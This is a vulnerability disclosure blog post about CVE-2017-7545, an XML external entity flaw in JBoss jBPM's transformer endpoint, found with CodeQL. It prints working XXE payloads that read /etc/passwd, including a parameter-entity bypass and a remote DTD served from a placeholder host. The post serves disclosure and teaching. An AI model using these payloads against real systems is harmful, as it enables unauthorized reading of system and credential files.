In two of my previous posts (CVE-2017-14949 and CVE-2017-14868), I gave some examples of the XML external entity (XXE) attack using two vulnerabilities I found in Restlet. In this post, I am going to demonstrate how an actual attack with XXE can be carried out against a stand-alone application using another vulnerability I discovered in JBoss Business Process Manager.
Details of vulnerability in JBoss Business Process Manager (jBPM)
This vulnerability allows a remote attacker to read any file accessible to the user running JBoss BPMS. We advise users to upgrade to the latest version (7.4.1 or higher) to mitigate the risk.
XXE in action!
JBoss Business Process Manager is a stand-alone application used for modeling and managing business processes using the Business Process Model and Notation specification. Its source code is maintained by the kiegroup and split into a number of repositories. In one of the repositories, the jbpm-designer, CodeQL has flagged up a couple of potential XXE vulnerabilities. One in particular, can be reached from the request parameter gpd
in the TransformerServlet
. Looking at the web.xml
file from the jbpm-console.war
in the jbpm-installer (version 7.1.0 when this was discovered), I saw that TransformerServlet
could indeed be reached via the relative URL /transformer
from the console.
<servlet-mapping>
<servlet-name>TransformerServlet</servlet-name>
<url-pattern>/transformer</url-pattern>
</servlet-mapping>
Trying this URL on a local test instance of jBPM, I got redirected back to the login screen. However, after logging in as any user, I got a blank page with the following response:
HTTP method GET is not supported by this URL
so it looked like this URL can be reached by any authenticated user. From the bland response page, it also looks like this URL is very rarely used. This, however, does not matter for us, as long as the URL can be accessed, it can be exploited no matter how rarely used it is.
The source code that was used for processing the request parameter gpd
showed that it was an XML string with attributes name
, width
, height
, x
and y
in its nodes:
Bounds b = DcFactory.eINSTANCE.createBounds();
String nodeName = null;
String nodeX = null;
String nodeY = null;
String nodeWidth = null;
String nodeHeight = null;
for (int i = 0; i < reader.getAttributeCount(); i++) {
if ("name".equals(reader.getAttributeLocalName(i))) {
nodeName = reader.getAttributeValue(i);
} else if ("x".equals(reader.getAttributeLocalName(i))) {
nodeX = reader.getAttributeValue(i);
} else if ("y".equals(reader.getAttributeLocalName(i))) {
nodeY = reader.getAttributeValue(i);
} else if ("width".equals(reader.getAttributeLocalName(i))) {
nodeWidth = reader.getAttributeValue(i);
} else if ("height".equals(reader.getAttributeLocalName(i))) {
nodeHeight = reader.getAttributeValue(i);
}
}
...
After some experiments, I discovered that the following format seems to be the expected format of this parameter:
<?xml version="1.0" encoding="UTF-8"?>
<root-container name="simple" width="469" height="438">
<node name="start" x="150" y="25" width="140" height="40">
<edge>
<label x="5" y="-10"/>
</edge>
</node>
<node name="first" x="150" y="125" width="140" height="40">
<edge>
<label x="5" y="-10"/>
</edge>
</node>
<node name="end" x="150" y="225" width="140" height="40"/>
</root-container>
In order to reach the unsafe XML parsing code, which is executed in the function addBpmnDiInfo
, I looked at the following block:
else if (transformto != null && transformto.equals(JPDL_TO_BPMN2)) {
try {
String bpmn2 = JbpmMigration.transform(jpdl);
Definitions def = ((JbpmProfileImpl) profile).getDefinitions(bpmn2);
// add bpmndi info to Definitions with help of gpd
addBpmnDiInfo(def,
gpd);
This meant I also needed to set the request parameter transformto
to the string value jbpdl2bpmn2
and another parameter jpdl
also had to be set. This parameter turned out to be another XML string that had the following expected format:
<process-definition
xmlns="urn:jbpm.org:jpdl-3.2"
name="simple">
<start-state name="start">
<transition name="to_state" to="first">
<action name="action" class="com.sample.action.MessageActionHandler">
<message>Going to the first state!</message>
</action>
</transition>
</start-state>
<state name="first">
<transition name="to_end" to="end">
<action name="action" class="com.sample.action.MessageActionHandler">
<message>About to finish!</message>
</action>
</transition>
</state>
<end-state name="end"></end-state>
</process-definition>
Attribute bypass using parameter entities
To see whether this is exploitable, I started with the naive approach of placing an external entity in one of the attributes:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY abc SYSTEM "file:///etc/passwd" >]>
<root-container name="&abc;" width="469" height="438">
...
Doing so, however, resulted in an XML parse error as shown in this server log:
2017-12-11 14:16:28,323 ERROR [org.jbpm.designer.web.server.TransformerServlet] (default task-91) Exception adding bpmndi info: Encountered a reference to external parsed entity "abc" when expanding attribute value: not legal as per XML 1.0/1.1 #3.1
As the error message suggests, the XML specification does not allow external entities in an attribute. This restriction, however, can be bypassed using parameter entities (see, e.g. XML data retrieval by Timur Yunusov and Alexey Osipov).
Using a new payload with parameter entities, I saw that the name
attribute was indeed vulnerable to XXE:
2017-12-11 14:22:22,014 ERROR [org.jbpm.designer.web.server.TransformerServlet] (default task-97) Exception adding bpmndi info: (was java.io.FileNotFoundException) /etc (Is a directory)
This showed that the application had definitely tried to expand the external parameter entity, but the parser did not like the fact that its /etc
is a directory (I deliberately did it here so you won’t see what’s in my /etc/passwd
:)). Now the question is whether I can actually retrieve this data. If the server was running a version of jdk before this patch, then I could use this trick to ship the data out as a ftp request. In this case, however, there was an easier way.
Data retrieval
In order to retrieve the data, I wanted to see whether any element of these XML strings is passed into the response of my request. Looking at the source code:
JBPMBpmn2ResourceImpl bpmn2resource = (JBPMBpmn2ResourceImpl) rSet.createResource(URI.createURI("virtual.bpmn2"));
rSet.getResources().add(bpmn2resource);
bpmn2resource.getContents().add(def);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
bpmn2resource.save(outputStream,
new HashMap<Object, Object>());
String fullXmlModel = outputStream.toString();
// convert to json and write response
String json = profile.createUnmarshaller().parseModel(fullXmlModel,
profile,
pp);
resp.setCharacterEncoding("UTF-8");
resp.setContentType("application/json");
resp.getWriter().print(json);
it seemed that the content of the response came from the object bpmn2resource
, which in turn contained the variable def
, which is somehow constructed from my request parameter jpdl
:
String bpmn2 = JbpmMigration.transform(jpdl);
Definitions def = ((JbpmProfileImpl) profile).getDefinitions(bpmn2);
As the jpdl
parameter is another XML string, I tried turning it into an XXE payload to see what happens:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bbb [<!ELEMENT foo ANY>
<!ENTITY % remote SYSTEM "http://param_entity_host" >
%remote;
%param1;
]>
<process-definition
xmlns="urn:jbpm.org:jpdl-3.2"
name="&internal;">
<start-state name="start">
<transition name="to_state" to="first">
<action name="action" class="com.sample.action.MessageActionHandler">
<message>Going to the first state!</message>
</action>
</transition>
</start-state>
<state name="first">
<transition name="to_end" to="end">
<action name="action" class="com.sample.action.MessageActionHandler">
<message>About to finish!</message>
</action>
</transition>
</state>
<end-state name="end"></end-state>
</process-definition>
where param_entity_host
will serve out this DTD
:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
Sending this payload, together with the gpd
parameter using this python script, I was able to retrieve the content of /etc/passwd
from jBPM. I then reported the issue to Red Hat.
Disclosure timeline
- 21 Jul 2017: Initial private disclosure to Red Hat.
- 24 Aug 2017: CVE-2017-7545 assigned to the issue.
- 30 Nov 2017: Public disclosure by Red Hat.
Conclusions
In this post, I showed how the standard LGTM XXE query helped me find an exploitable vulnerability in jBPM. As this vulnerability is exploited via a rarely used URL and parameter combination (in fact the official “fix” was to remove the functionality altogether), it is very difficult to find it using methods like fuzzing and testing. In the context of security, however, once discovered, a rarely used endpoint is just as exploitable as a frequently used one. I’ve shown how LGTM queries can identify these issues with ease when fuzzing and testing fail.
Note: Post originally published on LGTM.com on December 19, 2017